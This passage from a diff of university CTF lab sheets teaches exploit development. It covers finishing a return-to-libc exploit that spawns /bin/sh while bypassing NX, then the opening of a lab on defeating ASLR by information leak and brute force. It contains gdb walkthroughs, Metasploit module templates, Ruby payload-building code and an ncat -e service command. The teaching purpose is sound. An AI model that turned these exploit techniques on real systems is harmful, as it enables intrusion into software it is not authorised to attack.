||||
```
|
||||
|
||||
Woah, that's a lot of output.
|
||||
|
||||
==action: Let's use grep to filter the output for lines which contain the exact string we're after:==
|
||||
|
||||
```bash
|
||||
strings -a -t x /lib32/libc.so.6 | grep "/bin/sh"
|
||||
```
|
||||
|
||||
![][image-13]
|
||||
|
||||
Note the offset down as ==edit:BinShOffset==.
|
||||
|
||||
The string **`"/bin/sh"`** can be found at the **offset** ==edit:BinShOffset== within **/lib32/libc.so.6**.
|
||||
|
||||
In order to find the memory address that this string can be found within our program, we will need to first find out the **address libc is loaded into memory**, then we can calculate the location the `"/bin/sh"` can be found by **adding our offset**.
|
||||
|
||||
==action: Run the program in gdb and inspect the process mapped address space at runtime to find the address that libc is loaded at:==
|
||||
|
||||
```bash
|
||||
gdb -q ./Ch_nx_BOF_1
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) break main
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) r
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) info proc map
|
||||
```
|
||||
|
||||
The **/lib32/libc-2.28.so** library is loaded into **virtual process memory** at the memory address ==edit:Libc-Start-Address==
|
||||
|
||||
==action: Use GDB to calculate the address of `"/bin/sh"` in memory:==
|
||||
|
||||
```bash
|
||||
(gdb) x/s ==edit:Libc-Start-Address== + ==edit:BinSh-Offset==
|
||||
```
|
||||
|
||||
If you have the correct start address \+ offset, you should see the string `"/bin/sh"` with its precise memory address. Note down the memory address as ==edit:BinSh-Address==.
|
||||
|
||||
Close the debugging session.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Update your script:==
|
||||
|
||||
```ruby
|
||||
offset = "==edit:Offset-Value=="
|
||||
# eip = "BBBB"
|
||||
execve = ["==edit:Execve-Address=="].pack('V') # mem addr of execve()
|
||||
eip = execve
|
||||
ret_exit = ["==edit:Exit-Address=="].pack('V') # return address i.e. mem addr of exit() function
|
||||
bin_sh = ["==edit:BinSh-Address=="].pack('V') # mem addr of "/bin/sh" string
|
||||
# zero = [0x00000000].pack('V') # mem addr that contains 0x00000000
|
||||
function
|
||||
bad = "A" * offset + eip + ret_exit + bin_sh + "C" * 30 #+ zero + zero
|
||||
```
|
||||
|
||||
> Tip: Remove the "" around hex addresses: use `[0x00000000].pack('V')` rather than `["0x00000000"].pack('V')`
|
||||
|
||||
==action: Save your script file, reload metasploit, then run the exploit==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Attach the debugger then set a breakpoint to freeze execution at execve()==.
|
||||
|
||||
```bash
|
||||
gdb program -p `pgrep -n Ch_nx_BOF_1`
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) b execve
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) c
|
||||
```
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Hit enter==
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Inspect the stack:==
|
||||
|
||||
```bash
|
||||
(gdb) x/20wx $esp
|
||||
```
|
||||
|
||||
**![][image-14]**
|
||||
|
||||
Strange… the memory address was not loaded correctly. And all of our C’s are gone.
|
||||
|
||||
The 2nd value on the stack after our exploit contains the value 0x000000aa, where we wanted it to contain 0xf7f50aaa.
|
||||
|
||||
It looks like the last byte is correct, but the rest has not loaded. As we are packing our memory addresses in little endian, the bytes are read in from right to left. First 0xaa, then 0x0a, etc.
|
||||
|
||||
The 0x0a byte is a good example of a **bad character** contained within a memory address that we want to use. It represents the newline character in C strings, and will cause the gets() function to terminate, leaving the rest of our exploit string unreachable.
|
||||
|
||||
As the memory address of the instance of `"/bin/sh"` in libc is unusable, we will need a different approach. Next week we will investigate more sophisticated ways of getting around this, including chaining small segments of code together to manipulate memory to our advantage.
|
||||
|
||||
For now, let’s search the binary itself for the string `"/bin/sh"` that was printed out by the program as a hint. We could use the find function
|
||||
|
||||
==action: Disassemble main and look for the parameter pushed to the stack before the printf statement:==
|
||||
|
||||
```bash
|
||||
(gdb) disassemble main
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) x/s 0x645750a4
|
||||
```
|
||||
|
||||
![][image-15]
|
||||
|
||||
We can offset the memory address to find the memory location of the first “/” character. Calculate the number of characters in the string preceding `"/bin/sh"`:
|
||||
|
||||
**![][image-16]**
|
||||
|
||||
A great feature in gdb is the ability to do arithmetic different base number systems, so we can add our decimal number directly to a hex memory address without having to manually convert it first.
|
||||
|
||||
==action: Add decimal 11 to the hex value in gdb==.
|
||||
|
||||
```bash
|
||||
(gdb) x/s 0x645750a4 + 11
|
||||
```
|
||||
|
||||
Great. Note down the address of this string as ==edit:New-BinSh-Address==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Update your script with the ==edit:New-BinSh-Address== :==
|
||||
|
||||
```ruby
|
||||
offset = "==edit:Offset-Value=="
|
||||
# eip = "BBBB"
|
||||
execve = ["==edit:Execve-Address=="].pack('V') # mem addr of execve()
|
||||
eip = execve
|
||||
ret_exit = ["==edit:Exit-Address=="].pack('V') # return address i.e. mem addr of exit() function
|
||||
bin_sh = ["==edit:New-BinSh-Address=="].pack('V') # mem addr of "/bin/sh" string
|
||||
# zero = [0x00000000].pack('V') # mem addr that contains 0x00000000
|
||||
function
|
||||
|
||||
bad = "A" * offset + eip + ret_exit + bin_sh + "C" * 30 #+ zero + zero
|
||||
```
|
||||
|
||||
> Tip: Remove the "" around hex addresses: use `[0x00000000].pack('V')` rather than `["0x00000000"].pack('V')`
|
||||
|
||||
==action: Save your script file, reload metasploit, then run the exploit==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Attach the debugger then set a breakpoint to freeze execution at execve()==.
|
||||
|
||||
```bash
|
||||
gdb program -p `pgrep -n Ch_nx_BOF_1`
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) b execve
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) c
|
||||
```
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Hit enter==
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Inspect the stack:==
|
||||
|
||||
```bash
|
||||
(gdb) x/20wx $esp
|
||||
```
|
||||
|
||||
Woohoo\! Our memory address is there and so are the C’s.
|
||||
|
||||
Bad characters that cause the function reading our exploit string to terminate part way through are tricky. The most common character is 0x0 (or “\\0”), the null terminator.
|
||||
|
||||
The final parameter of our exploit requires us to pass 0x00000000 in twice\! We’ll have to work around this somehow.
|
||||
|
||||
Two parameters down, two to go (well, one really as it’s the same value).
|
||||
|
||||
## Finding an address containing 0x000000 {#finding-an-address-containing-0x000000}
|
||||
|
||||
As we can’t pass the hex value of 0 in directly, we should look for a place in memory that contains the value 0x00000000 and use that instead.
|
||||
|
||||
For convenience, we will search libc with gdb’s find function. Feel free to with alternatives such as edb’s search functionality:
|
||||
|
||||
```bash
|
||||
(gdb) info proc map
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) find ==edit:Libc-Start-Addr==, ==edit:Libc-End-Addr==,0x00000000
|
||||
```
|
||||
|
||||
![][image-17]
|
||||
|
||||
That’s a long list of memory addresses containing 0x00000000, great\! Now we just need to make sure that we have one with no bad characters in.
|
||||
|
||||
==action: Confirm that you've got a memory address that contains 0x0000000:==
|
||||
|
||||
```bash
|
||||
(gdb) x/wx ==edit:Zero-Address==
|
||||
```
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Update your script with the ***Zero-Address***:==
|
||||
|
||||
```ruby
|
||||
offset = "==edit:Offset-Value=="
|
||||
# eip = "BBBB"
|
||||
execve = ["==edit:Execve-Address=="].pack('V') # mem addr of execve()
|
||||
eip = execve
|
||||
ret_exit = ["==edit:Exit-Address=="].pack('V') # return address i.e. mem addr of exit() function
|
||||
bin_sh = ["==edit:New-BinSh-Address=="].pack('V') # mem addr of "/bin/sh" string
|
||||
# zero = [Zero-Address].pack('V') # mem addr that contains 0x00000000
|
||||
function
|
||||
|
||||
bad = "A" * offset + eip + ret_exit + bin_sh + zero + zero
|
||||
```
|
||||
|
||||
> Tip: Remove the "" around hex addresses: use `[0x00000000].pack('V')` rather than `["0x00000000"].pack('V')`
|
||||
|
||||
|
||||
==action: Save your script and run the exploit==.
|
||||
|
||||
![][image-18]
|
||||
|
||||
|
||||
## CTF Challenge 1 {#ctf-challenge-1}
|
||||
|
||||
Challenge one included no randomisation for demonstration purposes.
|
||||
|
||||
> Flag: Run the SGID version (\~/challenges/Ch\_nx\_BOF\_1/Ch\_nx\_BOF\_1) over the network with ncat and attack it with your exploit, then read the flag.
|
||||
|
||||
## CTF Challenges 2 and 3 {#ctf-challenges-2-and-3}
|
||||
|
||||
> Flag: The second and third challenges follow the same approach as above.
|
||||
|
||||
> Tip: The binaries have some slight randomness, so the data you need to find will have different offset’s and memory addresses.
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* Learned about non-executable regions of memory
|
||||
|
||||
* Written a return-to-libc exploit, which avoided running any code on the stack, which involved:
|
||||
|
||||
* Finding the offset for EIP
|
||||
|
||||
* Investigated libc and found that the library contains some useful functions that can be run to spawn a shell
|
||||
|
||||
* Located the memory address of one such function (execve())
|
||||
|
||||
* Built a fake stack frame, first including the return address (in this case we used exit())
|
||||
|
||||
* Located ound data that we wanted to supply as parameters to our function.
|
||||
|
||||
* Exploited the binary and successfully spawned a shell, without supplying an external shellcode.
|
||||
|
||||
Well done\!
|
||||
|
||||
[image-1]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-1.png
|
||||
[image-2]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-2.png
|
||||
[image-3]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-3.png
|
||||
[image-4]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-4.png
|
||||
[image-5]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-5.png
|
||||
[image-6]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-6.png
|
||||
[image-7]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-7.png
|
||||
[image-8]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-8.png
|
||||
[image-9]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-9.png
|
||||
[image-10]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-10.png
|
||||
[image-11]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-11.png
|
||||
[image-12]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-12.png
|
||||
[image-13]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-13.png
|
||||
[image-14]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-14.png
|
||||
[image-15]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-15.png
|
||||
[image-16]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-16.png
|
||||
[image-17]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-17.png
|
||||
[image-18]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-18.png
|
||||
500
_labs/software_security_exploitation/7_linux_aslr_bypass.md
Normal file
@@ -0,0 +1,500 @@
|
||||
---
|
||||
title: "Bypassing Address Space Layout Randomisation (ASLR)"
|
||||
author: ["Thomas Shaw", "Z. Cliffe Schreuders"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn how to bypass Address Space Layout Randomization (ASLR) through information leaks and brute-force attacks. Develop exploits using the Metasploit framework to overcome ASLR, PIE, and RelRO protections."
|
||||
overview: |
|
||||
Address Space Layout Randomization (ASLR) is a critical security feature in modern operating systems. ASLR randomizes the memory addresses of various program components, making it challenging for attackers to exploit vulnerabilities. You'll explore challenges designed to help you understand how ASLR works and how to bypass it.
|
||||
|
||||
Throughout the lab, you'll learn how to leverage information leaks and brute-force attacks to overcome ASLR, PIE and RelRO. You'll set up your exploit development environment using the Metasploit framework, identify the offsets and addresses of critical functions, and craft exploits to control program execution. Specifically, you will capture an information leak, calculate function offsets, and redirect control flow to a target function. Subsequently, you'll tackle a more complex scenario where there's no information leak, relying on brute-force to bypass ASLR and gain access to a hidden flag. These practical tasks will equip you with valuable skills in vulnerability exploitation and security assessment.
|
||||
tags: ["aslr", "exploitation", "metasploit", "buffer-overflow", "security"]
|
||||
categories: ["software_security_exploitation"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1NVWjD257EN0pv14G6dD44VpSPYlrR6IC2HPihrsGPnY/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
difficulty: "advanced"
|
||||
cybok:
|
||||
- ka: "SS"
|
||||
topic: "Categories of Vulnerabilities"
|
||||
keywords: ["memory management vulnerabilities", "Stack smashing buffer overflows"]
|
||||
- ka: "SS"
|
||||
topic: "Mitigating Exploitation"
|
||||
keywords: ["ASLR (ADDRESS SPACE LAYOUT RANDOMIZATION)"]
|
||||
- ka: "MAT"
|
||||
topic: "Attacks and exploitation"
|
||||
keywords: ["EXPLOITATION", "EXPLOITATION FRAMEWORKS", "Exploit development", "Metasploit Framework development", "Mitigation bypass: ASLR"]
|
||||
---
|
||||
|
||||
## Lab Introduction {#lab-intro}
|
||||
|
||||
This lab introduces you to Address Space Layout Randomisation (ASLR): a category of countermeasure which involves randomly assigning at runtime the addresses at which different parts of the program are loaded into memory. This makes it difficult for exploit developers to predict where to jump to following a control-flow hijack.
|
||||
|
||||
This lab involves 2 challenges which involve writing exploits for 32-bit Linux ELF binaries compiled with gcc, with ASLR enabled and a Non-Executable (NX) stack.
|
||||
|
||||
## Address Space Layout Randomisation (ASLR) {#address-space-layout-randomisation-aslr}
|
||||
|
||||
Exploits that we have written so far in the module require a reliable memory address of a function, the stack, libraries or the heap. However, when all these parts of the program are dynamically loaded into random locations at runtime these approaches to exploitation no longer work.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Check the ASLR setting:==
|
||||
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
We can see that the value returned is 2. This may seem unusual, as most kernel settings have 0 or 1 (on or off).
|
||||
|
||||
The Linux kernel actually has 3 settings for ASLR protection:
|
||||
|
||||
- 0 - disabled
|
||||
- 1 - stack, shared memory regions and VDSO page
|
||||
- 2 - stack, shared memory regions, VDSO page and data segments
|
||||
|
||||
In order to see this in action, let's inspect the addresses that shared libraries are loaded into when running an executable.
|
||||
|
||||
==action: Check library addresses:==
|
||||
|
||||
```bash
|
||||
ldd /bin/cat
|
||||
```
|
||||
|
||||
> Tip: The ldd command lists the shared libraries that a program uses. It also displays the path to each library and the memory location that each library was loaded into memory at.
|
||||
|
||||
==action: Run the above command a few more times and compare the address that libc.so.6 is loaded into memory:==
|
||||
|
||||
```bash
|
||||
ldd /bin/cat
|
||||
```
|
||||
|
||||
```bash
|
||||
ldd /bin/cat
|
||||
```
|
||||
|
||||
```bash
|
||||
ldd /bin/cat
|
||||
```
|
||||
|
||||
> Question: Are there differences in the memory addresses? Are there any similarities?
|
||||
|
||||
Notice that whilst the address that libc.so.6 is loaded into memory is random, a good portion of the address remains the same. We will return to this later when looking at taking a brute-force approach to bypassing ASLR.
|
||||
|
||||
### ASLR Bypass Techniques
|
||||
|
||||
There are several approaches to bypassing ASLR protection:
|
||||
|
||||
**Information Leaks**: The most reliable method involves extracting memory addresses from the target application:
|
||||
- **Format string vulnerabilities** can leak stack addresses and reveal the memory layout
|
||||
- **Buffer overflows** that can read return addresses from the stack
|
||||
- **Application error messages** that inadvertently reveal memory addresses
|
||||
- **Side-channel attacks** that infer memory locations through timing or other indirect means
|
||||
- **Partial address leaks** where only some bytes of an address are revealed, but enough to calculate the full address
|
||||
|
||||
**Brute Force Attacks**: When information leaks are not available:
|
||||
- **Repeated exploitation attempts** with different payload addresses, taking advantage of the fact that only a subset of address bits are randomized
|
||||
- **NOP sleds** to increase the probability of successful execution by providing a larger target area
|
||||
- **Exploiting partial ASLR** implementations where some memory regions remain predictable
|
||||
- **Return-oriented programming (ROP)** techniques using known gadgets from libraries
|
||||
|
||||
**Combined Approaches**: Often the most effective exploits combine multiple techniques:
|
||||
- Using information leaks to calculate base addresses of libraries
|
||||
- Leveraging predictable address patterns in partially randomized memory
|
||||
- Exploiting applications that don't have full ASLR protection enabled
|
||||
|
||||
## Position Independent Executables (PIE) {#position-independent-executables-pie}
|
||||
|
||||
In order for the data segment of a linux ELF binary to be randomisible it must be compiled as a Position Independent Executable (PIE). PIE is now a default gcc option on most modern linux distributions.
|
||||
|
||||
We can use the file command to check whether a binary was compiled with or without PIE. Compile the first challenge and compare the output from the file command.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Compile a non-PIE binary and check its properties:==
|
||||
|
||||
```bash
|
||||
gcc ~/challenges/Ch_aslr_BOF_1/program.c -m32 -fno-pie -no-pie -o ~/no_pie
|
||||
```
|
||||
|
||||
```bash
|
||||
file ~/no_pie
|
||||
```
|
||||
|
||||
```bash
|
||||
file ~/challenges/Ch_aslr_BOF_1/Ch_aslr_BOF_1
|
||||
```
|
||||
|
||||
> Note: The challenges in this lab have the system level ASLR enabled and have been compiled as position independent executables.
|
||||
|
||||
## CTF Challenge 1 - Bypassing ASLR with an Information Leak {#ctf-challenge-1-bypassing-aslr-with-an-information-leak}
|
||||
|
||||
As we saw earlier, some bytes in the address that libc is loaded into seemed to be fixed on each run. Only a subset of the full address is actually randomised.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Navigate to the challenge directory and examine the binary:==
|
||||
|
||||
```bash
|
||||
cd ~/challenges/Ch_aslr_BOF_1
|
||||
```
|
||||
|
||||
```bash
|
||||
ldd ./Ch_aslr_BOF_1
|
||||
```
|
||||
|
||||
```bash
|
||||
ldd ./Ch_aslr_BOF_1
|
||||
```
|
||||
|
||||
```bash
|
||||
ldd ./Ch_aslr_BOF_1
|
||||
```
|
||||
|
||||
> You will follow these steps:
|
||||
> - Inspect the program and look for the function headers that were included
|
||||
> - Use reverse engineering techniques (disassembler or debugger) to investigate the offset of each function
|
||||
> - Capture the leaked function address
|
||||
> - Calculate the location of the printflag() function based on the info leak + the offset
|
||||
> - Exploit the buffer overflow and jump to the location
|
||||
|
||||
### Step 0 - Set up our exploit development environment {#0-set-up-our-exploit-development-environment}
|
||||
|
||||
As in previous weeks, we will use the metasploit framework to develop our exploit and remotely attack a program running on the Desktop VM from Kali.
|
||||
|
||||
This involves:
|
||||
|
||||
- Creating a debuggable copy of the program w/ flag file
|
||||
- Serving the binary over the network
|
||||
- Creating a Metasploit exploit module
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service):==
|
||||
|
||||
==action: Note the IP address of your Desktop VM==.
|
||||
|
||||
==action: Make a debuggable copy of our program and serve it over the network:==
|
||||
|
||||
```bash
|
||||
cp ~/challenges/Ch_aslr_BOF_1/Ch_aslr_BOF_1 ~/.
|
||||
```
|
||||
|
||||
```bash
|
||||
cd ~
|
||||
```
|
||||
|
||||
```bash
|
||||
ncat -klvv -p 3333 -e ./Ch_aslr_BOF_1
|
||||
```
|
||||
|
||||
==VM: On the Kali Linux VM:==
|
||||
|
||||
==action: Create your metasploit script==.
|
||||
|
||||
==action: Create a Metasploit exploit module, and save it as **aslr_bof1.rb** in **/root/.msf4/modules/exploits/linux/misc/**:==
|
||||
|
||||
> Hint: To make the directory path, you can run `mkdir -p /root/.msf4/modules/exploits/linux/misc/`
|
||||
|
||||
Here is a template script that you can base your exploit on:
|
||||
|
||||
```ruby
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'aslr_bof1',
|
||||
'Description' => 'ASLR bypass via information leak. Control flow redirection to printflag() function.',
|
||||
'Author' => [ 'Your name'],
|
||||
'Version' => '$Revision: 1 $',
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [ [ 'Automatic Target', { } ],],
|
||||
'Payload' => {'BadChars' => "\x00\x0a\x0d\x20" },
|
||||
'DefaultTarget' => 0,
|
||||
'License' => GPL_LICENSE
|
||||
))
|
||||
register_options( [ Opt::RPORT(3333) ])
|
||||
end
|
||||
|
||||
def exploit
|
||||
puts "A TCP based Metasploit module"
|
||||
connect
|
||||
banner = sock.get_once.to_s.strip
|
||||
print_status "Banner: #{banner}"
|
||||
|
||||
puts "\n\nAttach your debugger on the desktop now, then press enter"
|
||||
gets
|
||||
puts "Continuing!"
|
||||
|
||||
# Step 1: Find the offset
|
||||
bad = pattern_create(500) #[offset:*Offset-Value*]
|
||||
|
||||
# Step 2: Confirm we have the correct offset
|
||||
# Paste Step 2 template code here (found later in the labsheet)
|
||||
|
||||
# Step 3: Capture the information leak
|
||||
# Paste Step 3 template code here (found later in the labsheet)
|
||||
|
||||
# Step 4: Dynamically calculate the printflag() offset
|
||||
# Paste Step 4 template code here (found later in the labsheet)
|
||||
|
||||
sock.put bad + "\n\n"
|
||||
buf = sock.timed_read(500)
|
||||
puts "received #{buf}"
|
||||
puts sock.timed_read(500)
|
||||
puts sock.timed_read(500)
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
> Note: This example has included the pattern_offset call for you.
|
||||
|
||||
### 1 - Hijack Control Flow {#1-hijack-control-flow}
|
||||
|
||||
Even though different sections of the program are loaded into memory at random locations, the offset to the EIP will remain the same on subsequent runs. This is because the size of the buffer and the parameters that we are working with are not randomised.
|
||||
|
||||
Similar to earlier buffer overflow exercises, our target is the return address of the `vuln()` function on the stack. This part of the lab should feel familiar.
|
||||
|
||||
==action: Run the exploit directly from the command line:==
|
||||
|
||||
```bash
|
||||
msfconsole -x 'use exploit/linux/misc/aslr_bof1; set RHOST ==edit:Desktop-IP-address==; set LHOST ==edit:Kali-IP-address==; exploit'
|
||||
```
|
||||
|
||||
> Tip: After the exploit has run you can run the same version again by running `exploit` or press `Ctrl-D` to exit msfconsole and then run the above command to run an updated version of your exploit.
|
||||
|
||||
When prompted to attach your debugger...
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Start debugging the program:==
|
||||
|
||||
```bash
|
||||
edb --attach `pgrep -n Ch_aslr_BOF_1`
|
||||
```
|
||||
|
||||
> Note: Edb automatically pauses execution when attaching to a process. Resume execution by pressing the 'play' button.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Hit enter to resume your exploit==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
The exploit should have caused an Illegal Access Fault (a segfault). The error message will provide an address you can use to calculate the offset to the controlled ==edit:EIP-value==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Calculate the offset using metasploit's pattern_offset.rb script:==
|
||||
|
||||
```bash
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q ==edit:EIP-value== -l 500
|
||||
```
|
||||
|
||||
> Note: Note this down as the ==edit:EIP-Offset-Value==.
|
||||
|
||||
==action: Update your script. Comment out the code under "Step 1" and add the following code under Step 2. For now we are just storing the string "BBBB", or 0x42424242 in the EIP:==
|
||||
|
||||
```ruby
|
||||
eip_offset= "==edit:EIP-Offset-Value=="
|
||||
padding = "A" * eip_offset
|
||||
eip = "BBBB"
|
||||
bad = padding + eip
|
||||
```
|
||||
|
||||
==action: Re-run your exploit and verify that EIP has been overwritten with the hex equivalent of "BBBB"==.
|
||||
|
||||
### 2 - Investigating the program {#2-investigating-the-program}
|
||||
|
||||
When running your exploit, you may have noticed that the program printed out the following:
|
||||
|
||||
![][image-3]
|
||||
|
||||
The intro text indicates that this challenge has a `printflag()` function call within the program. There is an information leak of the address that the `vuln()` function has been loaded into memory at.
|
||||
|
||||
Information leaks are required for reliable exploitation of ASLR programs. The information leak in this challenge has been included for the sake of demonstration. In practice, an information leak would come from using multiple bugs in combination, such as a format string vulnerability, to reveal a memory address.
|
||||
|
||||
The suggestion is that the win condition for this challenge will involve redirecting control flow to the `printflag()` function, based on the information leak.
|
||||
|
||||
We should create a dummy flag file in the same directory as our debuggable program with some text in so that we can tell if our exploit succeeds.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Create a dummy flag file:==
|
||||
|
||||
```bash
|
||||
echo "well done!" > ~/flag
|
||||
```
|
||||
|
||||
==action: Run the exploit again, attach your debugger of choice, and identify the memory address that vuln() and printflag() are loaded into memory==.
|
||||
|
||||
==action: Repeat this a couple of times and record the memory addresses that both functions are loaded into memory==.
|
||||
|
||||
> Question: When you compare the memory addresses for subsequent runs, what do you notice?
|
||||
|
||||
> Hint: Subtract the higher memory address for each iteration from the lower memory address.
|
||||
|
||||
Make note of this offset as: ==edit:Printflag-Offset-Value==
|
||||
|
||||
### 3 - Capturing the information leak {#3-capturing-the-information-leak}
|
||||
|
||||
In realistic challenges, information leaks are unlikely to be as obvious as this one. Typically alternative bugs (such as format string bugs) are used in order to leak the information, which is then used by the exploit in combination with a known offset to bypass ASLR for that run of the program.
|
||||
|
||||
If we know the address of one of the functions, either contained within the binary itself or a shared library, we can do some arithmetic to calculate the offset of other useful functions or pieces of data relative to the leaked address.
|
||||
|
||||
As we saw above, the **offset** between our `vuln()` function and the `printflag()` function are the same for each run of the program.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
Our exploit module already receives the address that we're looking for over the network. If we take a look at our script, this happens towards the beginning of the exploit() function. The socket is read from, then stored in the variable 'banner'.
|
||||
|
||||
We can test that the hex address is stored in the 'banner' variable by adding another puts statement in our script + rerunning it.
|
||||
|
||||
==action: Verify this is the case by adding a few puts statements after banner is assigned:==
|
||||
|
||||
```ruby
|
||||
puts banner
|
||||
puts banner
|
||||
puts banner
|
||||
```
|
||||
|
||||
![][image-4]
|
||||
|
||||
OK great, now that we know the banner variable contains the data we want, we can apply a regular expression to pull out the hex value (as a string).
|
||||
|
||||
==action: Capture the information leak within our ruby script at Step 3 (remember to comment out Step 2!):==
|
||||
|
||||
```ruby
|
||||
eip_offset = "==edit:EIP-Offset-Value=="
|
||||
eip = "BBBB"
|
||||
padding = "A" * eip_offset
|
||||
vuln_addr = banner[/0x......../] # Hex value as a string
|
||||
puts "vuln(): " + vuln_addr
|
||||
|
||||
bad = padding + eip
|
||||
```
|
||||
|
||||
==action: Rerun your program and confirm in a debugger that this address has been pulled out correctly==.
|
||||
|
||||
We can use this information and the offset that we found earlier to calculate the address of `printflag()`!
|
||||
|
||||
==action: For Step 4 introduce the offsets, perform arithmetic to calculate the position of the printflag() function, relative to the memory address of the vuln() function which we have been leaked, then replace EIP with the printflag address:==
|
||||
|
||||
```ruby
|
||||
eip_offset = "==edit:EIP-Offset-Value=="
|
||||
padding = "A" * eip_offset
|
||||
|
||||
vuln_addr = banner[/0x......../] # Hex value as a string
|
||||
puts "vuln(): " + vuln_addr
|
||||
|
||||
printflag_offset = "==edit:Printflag-Offset-Value==" # Offset as a string e.g. "0x??"
|
||||
printflag_addr_str = "0x" + (vuln_addr.to_i(16) - printflag_offset.to_i(16)).to_s(16)
|
||||
puts "printflag offset: " + printflag_offset
|
||||
|
||||
puts "printflag(): " + printflag_addr_str
|
||||
|
||||
printflag_addr = [printflag_addr_str.hex].pack('V')
|
||||
|
||||
eip = printflag_addr
|
||||
|
||||
bad = padding + eip
|
||||
```
|
||||
|
||||
==action: Fill in the placeholders and run your exploit==.
|
||||
|
||||
Once you confirm that the dummy flag (which we created earlier in ~/flag) was printed.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
> Action: Complete the following steps:
|
||||
|
||||
> - Stop the ncat process
|
||||
> - Change to the directory for challenge 1
|
||||
> - Host the challenge binary over the network
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
> Flag: Rerun your exploit to capture the flag!
|
||||
|
||||
## CTF Challenge 2 - Bypassing ASLR with a Brute-Force Attack {#ctf-challenge-2-bypassing-aslr-with-a-brute-force-attack}
|
||||
|
||||
==action: Run the 2nd challenge binary and inspect the print output==. You will notice that this time we no longer have the information leak.
|
||||
|
||||
As noted earlier, 32-bit binaries have a small search space. Only some of the bytes are randomised. This limited randomisation can brute force this easily in a short time as we have access to the program + can restart it at will.
|
||||
|
||||
As we can no longer find the exact offset, we can instead just use a hard-coded known address of printflag and run it many times.
|
||||
|
||||
In order to make it easier to catch when our brute-force succeeds, we can create a conditional check that exits metasploit if it succeeds.
|
||||
|
||||
> Action: Complete the following steps:
|
||||
|
||||
- Create a new metasploit exploit as in Challenge 1
|
||||
- Find the offset for EIP overwrite using a debugger and pattern create
|
||||
- Whilst in the debugger, inspect memory and look for the address that printflag() gets loaded at.
|
||||
- Make note of this as: ==edit:Printflag-Address==
|
||||
